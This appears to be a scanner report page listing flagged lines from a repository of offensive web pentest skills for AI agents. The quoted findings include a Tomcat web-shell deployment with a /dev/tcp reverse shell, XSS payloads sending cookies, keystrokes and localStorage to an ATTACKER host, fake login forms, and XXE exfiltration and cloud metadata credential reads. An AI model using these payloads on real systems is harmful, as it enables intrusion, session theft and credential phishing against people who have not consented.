    # Fenjing — Jinja2 filter bypass specialist (CTF-focused) python -m fenjing crack --url 'https://TARGET/' --method GET --inputs name
  • Network accessline 344
    python -m fenjing crack --url 'https://TARGET/' --method GET --inputs name

skills/web/ssti-twig/SKILL.md

  • Dangerous shell operationline 277
    - `system()` / `exec()` / `passthru()` create process artifacts
  • Dangerous shell operationline 286
    - PHP `disable_functions` in php.ini may block `system()`, `exec()`, `passthru()`
  • Network accessline 313
    # SSTImap python3 sstimap.py -u 'https://TARGET/page?name=test' -s
  • Network accessline 314
    python3 sstimap.py -u 'https://TARGET/page?name=test' -s
  • Network accessline 316
    # tplmap python2.7 tplmap.py -u 'https://TARGET/page?name=test*' --os-shell
  • Network accessline 317
    python2.7 tplmap.py -u 'https://TARGET/page?name=test*' --os-shell
  • Network accessline 319
    # TInjA tinja url -u "https://TARGET/page?name=test"
  • Network accessline 320
    tinja url -u "https://TARGET/page?name=test"

skills/web/tomcat-manager-deploy/SKILL.md

  • Network accessline 25
    - msfvenom   - curl   - jar
  • Network accessline 26
    - curl   - jar opsec: medium
  • Network accessline 84
    Never download exploits, scripts, or tools directly to the target from the internet (`curl https://github.com/...`, `git clone` on target). Targets may
  • Network accessline 85
    internet (`curl https://github.com/...`, `git clone` on target). Targets may
  • Network accessline 92
    2. **Review** — inspect source code or binary provenance before transferring 3. **Serve** — `python3 -m http.server 8080` from the directory containing the file 4. **Pull from target** — `wget http://ATTACKBOX:8080/file -O /tmp/file` or
  • Network accessline 93
    3. **Serve** — `python3 -m http.server 8080` from the directory containing the file 4. **Pull from target** — `wget http://ATTACKBOX:8080/file -O /tmp/file` or    `curl http://ATTACKBOX:8080/file -o /tmp/file`
  • Network accessline 94
    4. **Pull from target** — `wget http://ATTACKBOX:8080/file -O /tmp/file` or
  • Network accessline 95
    `curl http://ATTACKBOX:8080/file -o /tmp/file`
  • Network accessline 120
    |------|------|-----------| | `manager-gui` | `/manager/html` | Web GUI — upload WAR via browser form | | `manager-script` | `/manager/text` | Text API — deploy/undeploy via curl |
  • Network accessline 121
    | `manager-gui` | `/manager/html` | Web GUI — upload WAR via browser form | | `manager-script` | `/manager/text` | Text API — deploy/undeploy via curl | | `manager-jmx` | `/manager/jmxproxy` | JMX monitoring only — no deployment |
  • Network accessline 122
    | `manager-script` | `/manager/text` | Text API — deploy/undeploy via curl |
  • Network accessline 142
    # Test manager-script API (text) curl -s -u 'USER:PASS' 'http://TARGET:8080/manager/text/list'
  • Network accessline 143
    curl -s -u 'USER:PASS' 'http://TARGET:8080/manager/text/list'
  • Network accessline 146
    # Test manager-gui (HTML) curl -s -o /dev/null -w '%{http_code}' -u 'USER:PASS' 'http://TARGET:8080/manager/html'
  • Network accessline 147
    curl -s -o /dev/null -w '%{http_code}' -u 'USER:PASS' 'http://TARGET:8080/manager/html'
  • Network accessline 171
    Tomcat passwords often contain shell metacharacters (`!`, `$`, `&`, etc.). When using `curl -u`, these must be handled carefully:
  • Network accessline 172
    When using `curl -u`, these must be handled carefully:
  • Network accessline 175
    # Option 1: Single-quote the -u argument (prevents shell expansion) curl -u 'tomcat:P@$$w0rd!' ...
  • Network accessline 176
    curl -u 'tomcat:P@$$w0rd!' ...
  • Network accessline 179
    [Credential-related source omitted]
  • Network accessline 181
    [Credential-related source omitted]
  • Network accessline 183
    # Option 3: URL-encode special chars in the URL itself curl 'http://tomcat:P%40%24%24w0rd%21@TARGET:8080/manager/text/list'
  • Network accessline 184
    curl 'http://tomcat:P%40%24%24w0rd%21@TARGET:8080/manager/text/list'
  • Network accessline 246
    # Deploy via PUT (Tomcat 7+) curl -u 'USER:PASS' --upload-file /tmp/claude-1000/shell.war \
  • Network accessline 247
    curl -u 'USER:PASS' --upload-file /tmp/claude-1000/shell.war \
  • Network accessline 248
    'http://TARGET:8080/manager/text/deploy?path=/app'
  • Network accessline 251
    [Credential-related source omitted]
  • Network accessline 252
    [Credential-related source omitted]
  • Network accessline 253
    [Credential-related source omitted]
  • Network accessline 254
    'http://TARGET:8080/manager/text/deploy?path=/app'
  • Network accessline 256
    # Verify deployment curl -u 'USER:PASS' 'http://TARGET:8080/manager/text/list'
  • Network accessline 257
    curl -u 'USER:PASS' 'http://TARGET:8080/manager/text/list'
  • Network accessline 264
    # Use an innocuous name curl -u 'USER:PASS' --upload-file /tmp/claude-1000/shell.war \
  • Network accessline 265
    curl -u 'USER:PASS' --upload-file /tmp/claude-1000/shell.war \
  • Network accessline 266
    'http://TARGET:8080/manager/text/deploy?path=/docs'
  • Network accessline 275
    # Upload WAR via HTML form curl -u 'USER:PASS' -F "deployWar=@/tmp/claude-1000/shell.war" \
  • Network accessline 276
    curl -u 'USER:PASS' -F "deployWar=@/tmp/claude-1000/shell.war" \
  • Network accessline 277
    'http://TARGET:8080/manager/html/upload?org.apache.catalina.filters.CSRF_NONCE=NONCE'
  • Network accessline 284
    # Get CSRF nonce from manager page NONCE=$(curl -s -u 'USER:PASS' 'http://TARGET:8080/manager/html' | \
  • Network accessline 285
    NONCE=$(curl -s -u 'USER:PASS' 'http://TARGET:8080/manager/html' | \
  • Network accessline 288
    # Deploy with nonce curl -u 'USER:PASS' -F "deployWar=@/tmp/claude-1000/shell.war" \
  • Network accessline 289
    curl -u 'USER:PASS' -F "deployWar=@/tmp/claude-1000/shell.war" \
  • Network accessline 290
    "http://TARGET:8080/manager/html/upload?org.apache.catalina.filters.CSRF_NONCE=$NONCE"
  • Network accessline 296
    # Check via text API curl -u 'USER:PASS' 'http://TARGET:8080/manager/text/list'
  • Network accessline 297
    curl -u 'USER:PASS' 'http://TARGET:8080/manager/text/list'
  • Network accessline 299
    # Or check directly curl -s -o /dev/null -w '%{http_code}' 'http://TARGET:8080/app/'
  • Network accessline 300
    curl -s -o /dev/null -w '%{http_code}' 'http://TARGET:8080/app/'
  • Network accessline 314
    # Via netcat fallback
  • Network accessline 315
    nc -nlvp 4444
  • Network accessline 326
    # Trigger the reverse shell curl 'http://TARGET:8080/app/JSPNAME.jsp'
  • Network accessline 327
    curl 'http://TARGET:8080/app/JSPNAME.jsp'
  • Network accessline 334
    curl 'http://TARGET:8080/app/'
  • Network accessline 344
    # Execute commands curl 'http://TARGET:8080/app/cmd.jsp?cmd=id'
  • Network accessline 345
    curl 'http://TARGET:8080/app/cmd.jsp?cmd=id'
  • Network accessline 346
    curl 'http://TARGET:8080/app/cmd.jsp?cmd=whoami'
  • Network accessline 348
    # Send reverse shell from webshell curl --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/$LHOST/4444 0>&1'" \
  • Dangerous shell operationline 349
    curl --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/$LHOST/4444 0>&1'" \
  • Network accessline 349
    curl --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/$LHOST/4444 0>&1'" \
  • Network accessline 350
    'http://TARGET:8080/app/cmd.jsp'
  • Network accessline 384
    # Via text API curl -u 'USER:PASS' 'http://TARGET:8080/manager/text/undeploy?path=/app'
  • Network accessline 385
    curl -u 'USER:PASS' 'http://TARGET:8080/manager/text/undeploy?path=/app'
  • Network accessline 388
    # Verify removal curl -u 'USER:PASS' 'http://TARGET:8080/manager/text/list'
  • Network accessline 389
    curl -u 'USER:PASS' 'http://TARGET:8080/manager/text/list'
  • Dangerous shell operationline 395
    rm -f /tmp/claude-1000/shell.war /tmp/claude-1000/cmd.war
  • Dangerous shell operationline 396
    rm -rf /tmp/claude-1000/wardir
  • Network accessline 506
    - The JSP name inside the WAR is random (msfvenom) — list contents with   `jar -tf shell.war | grep .jsp` - Try the context root: `curl http://TARGET:8080/app/` may auto-invoke the JSP
  • Network accessline 508
    - Try the context root: `curl http://TARGET:8080/app/` may auto-invoke the JSP

skills/web/web-discovery/SKILL.md

  • Network accessline 148
    If the orchestrator provides a Burp listener (`Web proxy: http://IP:PORT`),
  • Network accessline 151
    - Browser automation: call `browser_open(..., proxy="http://IP:PORT")` or rely
  • Network accessline 152
    on `engagement/web-proxy.json` if the orchestrator created it - Bash HTTP clients: source `engagement/web-proxy.sh` - Add tool-native proxy flags when available (`curl -x`, `ffuf -x`,
  • Network accessline 153
    - Bash HTTP clients: source `engagement/web-proxy.sh` - Add tool-native proxy flags when available (`curl -x`, `ffuf -x`,   `wpscan --proxy`, `sqlmap --proxy`)
  • Network accessline 154
    - Add tool-native proxy flags when available (`curl -x`, `ffuf -x`,
  • Network accessline 178
    # Quick high-value path check (run first) ffuf -c -w /usr/share/seclists/Discovery/Web-Content/quickhits.txt \   -u https://TARGET/FUZZ -mc all -fc 404
  • Network accessline 179
    ffuf -c -w /usr/share/seclists/Discovery/Web-Content/quickhits.txt    -u https://TARGET/FUZZ -mc all -fc 404
  • Network accessline 180
    -u https://TARGET/FUZZ -mc all -fc 404
  • Network accessline 182
    # Directory discovery (if quickhits insufficient) ffuf -c -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt \   -u https://TARGET/FUZZ -mc all -fc 404
  • Network accessline 183
    ffuf -c -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt    -u https://TARGET/FUZZ -mc all -fc 404
  • Network accessline 184
    -u https://TARGET/FUZZ -mc all -fc 404
  • Network accessline 186
    # File discovery ffuf -c -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt \   -u https://TARGET/FUZZ -mc all -fc 404
  • Network accessline 187
    ffuf -c -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt    -u https://TARGET/FUZZ -mc all -fc 404
  • Network accessline 188
    -u https://TARGET/FUZZ -mc all -fc 404
  • Network accessline 190
    # Technology-specific files ffuf -c -w /usr/share/seclists/Discovery/Web-Content/common.txt \   -u https://TARGET/FUZZ -e .php,.asp,.aspx,.jsp,.json,.xml,.yaml,.yml,.bak,.old,.swp,.git \
  • Network accessline 191
    ffuf -c -w /usr/share/seclists/Discovery/Web-Content/common.txt    -u https://TARGET/FUZZ -e .php,.asp,.aspx,.jsp,.json,.xml,.yaml,.yml,.bak,.old,.swp,.git
  • Network accessline 192
    -u https://TARGET/FUZZ -e .php,.asp,.aspx,.jsp,.json,.xml,.yaml,.yml,.bak,.old,.swp,.git \
  • Network accessline 195
    # API endpoint discovery ffuf -c -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \   -u https://TARGET/api/FUZZ -mc all -fc 404
  • Network accessline 196
    ffuf -c -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt    -u https://TARGET/api/FUZZ -mc all -fc 404
  • Network accessline 197
    -u https://TARGET/api/FUZZ -mc all -fc 404
  • Network accessline 199
    # Virtual host / subdomain discovery ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \   -u https://TARGET -H "Host: FUZZ.TARGET" -mc all -fs <default-response-size>
  • Network accessline 200
    ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt    -u https://TARGET -H "Host: FUZZ.TARGET" -mc all -fs <default-response-size>
  • Network accessline 201
    -u https://TARGET -H "Host: FUZZ.TARGET" -mc all -fs <default-response-size>
  • Network accessline 222
    # Full WordPress enumeration — plugins, themes, users, config backups wpscan --url https://TARGET/ -e ap,at,u --api-token $WPSCAN_API_TOKEN
  • Network accessline 223
    [Credential-related source omitted]
  • Access to secretsline 223
    [Credential-related source omitted]
  • Network accessline 225
    # Without API token (still finds outdated versions and exposed files) wpscan --url https://TARGET/ -e ap,at,u
  • Network accessline 226
    wpscan --url https://TARGET/ -e ap,at,u
  • Network accessline 228
    # Aggressive plugin detection (slower, catches less common plugins) wpscan --url https://TARGET/ -e ap --plugins-detection aggressive
  • Network accessline 229
    wpscan --url https://TARGET/ -e ap --plugins-detection aggressive
  • Network accessline 231
    # Password brute-force against discovered users wpscan --url https://TARGET/ -U users.txt -P /usr/share/wordlists/rockyou.txt
  • Network accessline 232
    wpscan --url https://TARGET/ -U users.txt -P /usr/share/wordlists/rockyou.txt
  • Access to secretsline 274
    [Credential-related source omitted]
  • Network accessline 283
    # Arjun — automated parameter discovery (GET, POST, JSON, XML) arjun -u https://TARGET/endpoint
  • Network accessline 284
    arjun -u https://TARGET/endpoint
  • Network accessline 285
    arjun -u https://TARGET/endpoint -m GET POST JSON
  • Network accessline 286
    [Credential-related source omitted]
  • Network accessline 291
    # ffuf parameter brute-force ffuf -c -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \   -u "https://TARGET/endpoint?FUZZ=test" -mc all -fs <baseline-size>
  • Network accessline 292
    ffuf -c -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt    -u "https://TARGET/endpoint?FUZZ=test" -mc all -fs <baseline-size>
  • Network accessline 293
    -u "https://TARGET/endpoint?FUZZ=test" -mc all -fs <baseline-size>
  • Network accessline 413
    http://127.0.0.1
  • Network accessline 414
    http://169.254.169.254/latest/meta-data/
  • Network accessline 415
    http://COLLABORATOR.oastify.com
  • Network accessline 519
    # Check for mixed HTTP version (H2 front-end, H1 back-end) curl -sI --http2 https://TARGET/ -o /dev/null -w '%{http_version}\n'
  • Network accessline 520
    curl -sI --http2 https://TARGET/ -o /dev/null -w '%{http_version}\n'
  • Network accessline 522
    # Check headers for reverse proxy / CDN indicators curl -sI https://TARGET/ | grep -iE 'server|via|x-cache|x-forwarded'
  • Network accessline 523
    curl -sI https://TARGET/ | grep -iE 'server|via|x-cache|x-forwarded'
  • Network accessline 525
    # Automated detection with smuggler.py python3 -m smuggler -u https://TARGET/
  • Network accessline 526
    python3 -m smuggler -u https://TARGET/
  • Network accessline 552
    # Test origin reflection curl -sI -H "Origin: https://evil.com" https://TARGET/api/endpoint \
  • Network accessline 553
    curl -sI -H "Origin: https://evil.com" https://TARGET/api/endpoint \
  • Network accessline 556
    # Test null origin curl -sI -H "Origin: null" https://TARGET/api/endpoint \
  • Network accessline 557
    curl -sI -H "Origin: null" https://TARGET/api/endpoint \
  • Network accessline 568
    # Remove or empty the CSRF token parameter — does the request still succeed? # Check SameSite cookie attribute: curl -sI https://TARGET/login | grep -i "set-cookie" | grep -i "samesite"
  • Network accessline 569
    # Check SameSite cookie attribute: curl -sI https://TARGET/login | grep -i "set-cookie" | grep -i "samesite" # Check for custom header requirements (X-CSRF-Token, X-Requested-With)
  • Network accessline 570
    curl -sI https://TARGET/login | grep -i "set-cookie" | grep -i "samesite"
  • Network accessline 578
    # Detect OAuth endpoints curl -s "https://TARGET/.well-known/openid-configuration" | jq .
  • Network accessline 579
    curl -s "https://TARGET/.well-known/openid-configuration" | jq .
  • Network accessline 594
    # - Does the reset page load external resources (Referer leakage)? # Test Host header override: curl -s -X POST -H "X-Forwarded-Host: attacker.com" \
  • Network accessline 595
    # Test Host header override: curl -s -X POST -H "X-Forwarded-Host: attacker.com" \   -d "email=test@target.com" "https://TARGET/reset-password"
  • Network accessline 596
    curl -s -X POST -H "X-Forwarded-Host: attacker.com" \
  • Network accessline 597
    -d "email=test@target.com" "https://TARGET/reset-password"
  • Network accessline 622
    # Check HTTP/2 support (enables single-packet attack) curl -sI --http2 https://TARGET/ -o /dev/null -w '%{http_version}\n'
  • Network accessline 623
    curl -sI --http2 https://TARGET/ -o /dev/null -w '%{http_version}\n'
  • Network accessline 642
    # Rate limiting ffuf -c -w wordlist.txt -u https://TARGET/FUZZ -rate 50
  • Network accessline 643
    ffuf -c -w wordlist.txt -u https://TARGET/FUZZ -rate 50
  • Network accessline 645
    # Rotate User-Agents ffuf -c -w wordlist.txt -u https://TARGET/FUZZ \
  • Network accessline 646
    ffuf -c -w wordlist.txt -u https://TARGET/FUZZ \
  • Network accessline 649
    # Auto-calibrate to filter noise ffuf -c -w wordlist.txt -u https://TARGET/FUZZ -ac
  • Network accessline 650
    ffuf -c -w wordlist.txt -u https://TARGET/FUZZ -ac
  • Network accessline 655
    # Baseline normal response size curl -s https://TARGET/nonexistent-page | wc -c
  • Network accessline 656
    curl -s https://TARGET/nonexistent-page | wc -c
  • Network accessline 658
    # Filter by size (-fs), word count (-fw), or line count (-fl) ffuf -c -w wordlist.txt -u https://TARGET/FUZZ -fs <baseline-size>
  • Network accessline 659
    ffuf -c -w wordlist.txt -u https://TARGET/FUZZ -fs <baseline-size>

skills/web/xss-dom/SKILL.md

  • Network accessline 69
    hash-based sources - **`browser_screenshot`** for evidence of DOM manipulation - **curl is insufficient** for DOM XSS — it doesn't execute JavaScript, so it
  • Network accessline 70
    - **`browser_screenshot`** for evidence of DOM manipulation - **curl is insufficient** for DOM XSS — it doesn't execute JavaScript, so it   cannot trigger source-to-sink flows
  • Network accessline 71
    - **curl is insufficient** for DOM XSS — it doesn't execute JavaScript, so it
  • Dangerous shell operationline 152
    eval(...)
  • Network accessline 190
    // Exploit (payload in URL fragment — not sent to server) https://TARGET/page#<img src=x onerror=alert(document.domain)>
  • Network accessline 191
    https://TARGET/page#<img src=x onerror=alert(document.domain)>
  • Network accessline 200
    // Exploit https://TARGET/page?q=</h1><script>alert(document.domain)</script>
  • Network accessline 201
    https://TARGET/page?q=</h1><script>alert(document.domain)</script>
  • Dangerous shell operationline 208
    eval('var settings = {' + config + '}');
  • Network accessline 210
    // Exploit https://TARGET/page?};alert(document.domain);//
  • Network accessline 211
    https://TARGET/page?};alert(document.domain);//
  • Network accessline 221
    // Exploit (from attacker page) <iframe src="https://TARGET/page" onload="this.contentWindow.postMessage('<img src=x onerror=alert(document.domain)>','*')">
  • Network accessline 222
    <iframe src="https://TARGET/page" onload="this.contentWindow.postMessage('<img src=x onerror=alert(document.domain)>','*')">
  • Network accessline 230
    // Exploit (window.name persists across navigations) <iframe name="<img src=x onerror=alert(document.domain)>" src="https://TARGET/page">
  • Network accessline 231
    <iframe name="<img src=x onerror=alert(document.domain)>" src="https://TARGET/page">
  • Network accessline 239
    // Exploit https://TARGET/page#<img src=x onerror=alert(1)>
  • Network accessline 240
    https://TARGET/page#<img src=x onerror=alert(1)>
  • Network accessline 281
    <iframe src="https://TARGET/page" onload="
  • Network accessline 304
    fetch('https://ATTACKER/steal?c='+document.cookie)
  • Network accessline 305
    fetch('https://ATTACKER/steal?ls='+JSON.stringify(localStorage))
  • Network accessline 310
    fetch('https://ATTACKER/?flag='+encodeURIComponent(localStorage.getItem('flag')))
  • Network accessline 361
    window.addEventListener('message', function(e) {   if (e.origin !== 'https://trusted.com') return;
  • Network accessline 362
    if (e.origin !== 'https://trusted.com') return;
  • Network accessline 366
    - Check if the origin check is strict (`===`) or uses `indexOf`/regex (bypassable) - `e.origin.indexOf('trusted.com')` matches `https://trusted.com.attacker.com`
  • Network accessline 367
    - `e.origin.indexOf('trusted.com')` matches `https://trusted.com.attacker.com`
  • Network accessline 375
    # domdig — headless Chrome DOM XSS scanner domdig https://TARGET/page
  • Network accessline 376
    domdig https://TARGET/page
  • Network accessline 378
    # domloggerpp — browser extension for monitoring DOM access # Install from: https://github.com/kevin-mizu/domloggerpp
  • Network accessline 379
    # Install from: https://github.com/kevin-mizu/domloggerpp

skills/web/xss-reflected/SKILL.md

  • Network accessline 55
    - **curl** for payload testing — use curl to inject XSS payloads with precise
  • Dangerous shell operationline 177
    eval(atob("YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="))
  • Possible obfuscationline 177
    eval(atob("YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="))
  • Dangerous shell operationline 197
    eval('\x61lert(1)')
  • Network accessline 246
    # Inspect CSP header curl -sI https://TARGET | grep -i content-security-policy
  • Network accessline 247
    curl -sI https://TARGET | grep -i content-security-policy
  • Network accessline 250
    **Evaluate:** paste the CSP into https://csp-evaluator.withgoogle.com
  • Network accessline 254
    <script src="//google.com/complete/search?client=chrome&jsonp=alert(1);"></script> <script src="https://www.youtube.com/oembed?callback=alert;"></script>
  • Network accessline 255
    <script src="https://www.youtube.com/oembed?callback=alert;"></script>
  • Network accessline 265
    <base href="https://attacker.com/">
  • Network accessline 279
    fetch('https://ATTACKER/steal?c='+document.cookie)
  • Network accessline 280
    new Image().src='https://ATTACKER/steal?c='+document.cookie
  • Network accessline 285
    <script>fetch('https://ATTACKER',{method:'POST',mode:'no-cors',body:document.cookie})</script>
  • Network accessline 290
    <script> history.replaceState(null,null,'../login'); document.body.innerHTML='<h1>Session expired</h1><form action=https://ATTACKER/phish><input name=user placeholder=Username><input name=pass type=password placeholder=Password><button>Logi
  • Network accessline 291
    history.replaceState(null,null,'../login'); document.body.innerHTML='<h1>Session expired</h1><form action=https://ATTACKER/phish><input name=user placeholder=Username><input name=pass type=password placeholder=Password><button>Login</button
  • Network accessline 292
    document.body.innerHTML='<h1>Session expired</h1><form action=https://ATTACKER/phish><input name=user placeholder=Username><input name=pass type=password placeholder=Password><button>Login</button></form>';
  • Network accessline 298
    <img src=x onerror='document.onkeypress=function(e){fetch("https://ATTACKER?k="+String.fromCharCode(e.which))},this.remove();'>
  • Network accessline 336
    <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>
  • Network accessline 348
    # Dalfox — fast XSS scanner dalfox url "https://TARGET/page?param=test" --silence
  • Network accessline 349
    dalfox url "https://TARGET/page?param=test" --silence
  • Network accessline 351
    # With custom payload file dalfox url "https://TARGET/page?param=test" --custom-payload payloads.txt
  • Network accessline 352
    dalfox url "https://TARGET/page?param=test" --custom-payload payloads.txt
  • Network accessline 354
    # XSStrike python3 xsstrike.py -u "https://TARGET/page?param=test"
  • Network accessline 355
    python3 xsstrike.py -u "https://TARGET/page?param=test"

skills/web/xss-stored/SKILL.md

  • Network accessline 140
    <img src="https://ATTACKER/pixel?c=" onerror="this.src+='err'">
  • Network accessline 152
    "><script src="https://js.rip/YOUR_ID"></script>
  • Network accessline 164
    <script> fetch('https://ATTACKER:8080/blind', {
  • Network accessline 165
    fetch('https://ATTACKER:8080/blind', {
  • Network accessline 198
    <script>new Image().src='https://ATTACKER/steal?c='+document.cookie</script>
  • Network accessline 203
    <script>fetch('https://ATTACKER',{method:'POST',mode:'no-cors',body:document.cookie})</script>
  • Network accessline 208
    <script> fetch('/api/change-password', {
  • Network accessline 209
    fetch('/api/change-password', {
  • Network accessline 219
    <script> fetch('/admin/create-user', {
  • Network accessline 220
    fetch('/admin/create-user', {
  • Network accessline 230
    <img src=x onerror='document.onkeypress=function(e){fetch("https://ATTACKER?k="+String.fromCharCode(e.which))},this.remove();'>
  • Network accessline 235
    <script> history.replaceState(null,null,'/login'); document.body.innerHTML='<h1>Session expired</h1><form action=https://ATTACKER/phish method=POST><input name=user placeholder=Username><input name=pass type=password><button>Login</button><
  • Network accessline 236
    history.replaceState(null,null,'/login'); document.body.innerHTML='<h1>Session expired</h1><form action=https://ATTACKER/phish method=POST><input name=user placeholder=Username><input name=pass type=password><button>Login</button></form>';
  • Network accessline 237
    document.body.innerHTML='<h1>Session expired</h1><form action=https://ATTACKER/phish method=POST><input name=user placeholder=Username><input name=pass type=password><button>Login</button></form>';
  • Network accessline 290
    <?xml version="1.0"?> <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)">
  • Network accessline 291
    <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)">

skills/web/xxe/SKILL.md

  • Access to secretsline 119
    [Credential-related source omitted]
  • Network accessline 128
    <!-- Internal resource access --> <!ENTITY xxe SYSTEM "http://internal.service:8080/admin">
  • Network accessline 129
    <!ENTITY xxe SYSTEM "http://internal.service:8080/admin">
  • Network accessline 131
    <!-- AWS IMDSv1 — enumerate roles, then fetch credentials --> <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
  • Network accessline 132
    <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
  • Network accessline 133
    <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME">
  • Network accessline 148
    <!DOCTYPE foo [   <!ENTITY xxe SYSTEM "http://CALLBACK.burpcollaborator.net">
  • Network accessline 149
    <!ENTITY xxe SYSTEM "http://CALLBACK.burpcollaborator.net">
  • Network accessline 157
    <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [   <!ENTITY % xxe SYSTEM "http://CALLBACK.burpcollaborator.net/detect">
  • Network accessline 158
    <!DOCTYPE foo [   <!ENTITY % xxe SYSTEM "http://CALLBACK.burpcollaborator.net/detect">   %xxe;
  • Network accessline 159
    <!ENTITY % xxe SYSTEM "http://CALLBACK.burpcollaborator.net/detect">
  • Network accessline 173
    <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [   <!ENTITY % dtd SYSTEM "http://ATTACKER/evil.dtd">
  • Network accessline 174
    <!DOCTYPE foo [   <!ENTITY % dtd SYSTEM "http://ATTACKER/evil.dtd">   %dtd;
  • Network accessline 175
    <!ENTITY % dtd SYSTEM "http://ATTACKER/evil.dtd">
  • Network accessline 184
    <!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://ATTACKER/?data=%file;'>">
  • Dangerous shell operationline 185
    <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://ATTACKER/?data=%file;'>">
  • Network accessline 185
    <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://ATTACKER/?data=%file;'>">
  • Network accessline 214
    <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [   <!ENTITY % dtd SYSTEM "http://ATTACKER/error.dtd">
  • Network accessline 215
    <!DOCTYPE foo [   <!ENTITY % dtd SYSTEM "http://ATTACKER/error.dtd">   %dtd;
  • Network accessline 216
    <!ENTITY % dtd SYSTEM "http://ATTACKER/error.dtd">
  • Dangerous shell operationline 226
    <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
  • Dangerous shell operationline 245
    <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///x/&#x25;file;&#x27;>">
  • Dangerous shell operationline 261
    <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///x/&#x25;file;&#x27;>">
  • Network accessline 286
    <foo xmlns:xi="http://www.w3.org/2001/XInclude">
  • Network accessline 294
    field=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>
  • Network accessline 308
    <!ENTITY xxe SYSTEM "file:///etc/hostname"> ]> <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg">
  • Network accessline 309
    ]> <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg">   <text font-size="16" x="0" y="16">&xxe;</text>
  • Network accessline 310
    <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg">
  • Network accessline 318
    <?xml version="1.0" standalone="yes"?> <!DOCTYPE svg [   <!ENTITY % dtd SYSTEM "http://ATTACKER/evil.dtd">
  • Network accessline 319
    <!DOCTYPE svg [   <!ENTITY % dtd SYSTEM "http://ATTACKER/evil.dtd">   %dtd;
  • Network accessline 320
    <!ENTITY % dtd SYSTEM "http://ATTACKER/evil.dtd">
  • Network accessline 322
    %eval; ]> <svg xmlns="http://www.w3.org/2000/svg">
  • Network accessline 323
    ]> <svg xmlns="http://www.w3.org/2000/svg">   <text x="0" y="16">&exfil;</text>
  • Network accessline 324
    <svg xmlns="http://www.w3.org/2000/svg">
  • Network accessline 349
    <!-- SOAP: CDATA wrapping --> <soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://ATTACKER/evil.dtd"> %dtd;]><root/>]]></foo></soap:Body>
  • Network accessline 350
    <soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://ATTACKER/evil.dtd"> %dtd;]><root/>]]></foo></soap:Body>

tools/hooks/event-watcher.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable

How the signals fit together

Facts from a static read of the files at the pinned commit. They describe what the code does, not why.

Some files could not be read; the facts below still hold.

Combined signals: 10 facts
Signal confidence: 490 facts

and 440 more

Only the first 500 facts are listed.

Works with

Agent compatibility, from the files in this repository
AgentStatusEvidenceInstall to
Claude CodeNativePath .claude/settings.json.claude/skills/<skill-name>/
CodexCompatibleStandard SKILL.md skills/ad/acl-abuse/SKILL.md.agents/skills/<skill-name>/
CursorCompatibleStandard SKILL.md skills/ad/acl-abuse/SKILL.md.cursor/skills/<skill-name>/
Gemini CLICompatibleStandard SKILL.md skills/ad/acl-abuse/SKILL.md.gemini/skills/<skill-name>/
GitHub CopilotCompatibleStandard SKILL.md skills/ad/acl-abuse/SKILL.md.github/skills/<skill-name>/
OpenCodeCompatibleStandard SKILL.md skills/ad/acl-abuse/SKILL.md.opencode/skills/<skill-name>/
  • Native The repository ships a manifest, folder or frontmatter field for this agent.
  • Compatible A standard SKILL.md that this agent can read.
  • Unknown No evidence either way.

Derived automatically from paths, manifests and frontmatter. Not tested on each agent.

You might also use

mukul975/Anthropic-Cybersecurity-Skills

817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io …

35.7kGitHub stars

zero-lab-ai/skills

Portable, evidence-bound security skills for authorized defensive assessment, red teaming, penetration testing, detection engineering, and engagement operations.

168GitHub stars

ljagiello/ctf-skills

Agent skills for solving CTF challenges - web exploitation, binary pwn, crypto, reverse engineering, forensics, OSINT, and more

3.6kGitHub stars

kenryu42/cc-safety-net

Operate CC Safety Net: explain why a command was blocked, triage false positives, configure custom rulebooks, manage agent CLI integrations, and diagnose protection.

1.9kGitHub stars

uphiago/recon-skills

